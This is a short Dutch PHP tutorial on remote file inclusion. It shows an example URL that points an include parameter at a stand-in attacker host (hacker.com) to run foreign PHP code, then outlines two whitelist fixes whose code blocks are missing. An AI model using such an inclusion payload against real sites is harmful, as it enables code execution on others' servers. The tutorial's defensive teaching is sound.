Includes
Veel mensen gebruiken een script zoals dit:
index.php?page=nieuws.php
Om een pagina in te voegen is dit erg handig, maar iemand kan nu ook dit intypen:
index.php?page=http://hacker.com/hack.php
en alle PHP code uit hack.php zal netjes uitgevoerd worden, dus kan dus ernstige gevolgen hebben!
Er zijn verschillende manieren om dit op telossen ik zal er 2 bespreken:
Manier 1:
geef alle mogelijke pagina's op in een array:
en controleer dan $_GET['page'] in je array voorkomt:
Code (php)
Nadeel: Je moet de array steeds aanpassen als je een pagina toevoegd.
Manier 2:
Een array samenstellen met alle pagina's uit de huidige map, deze mogen alleen geinclude worden:
en controleer dan $_GET['page'] in je array voorkomt:
Code (php)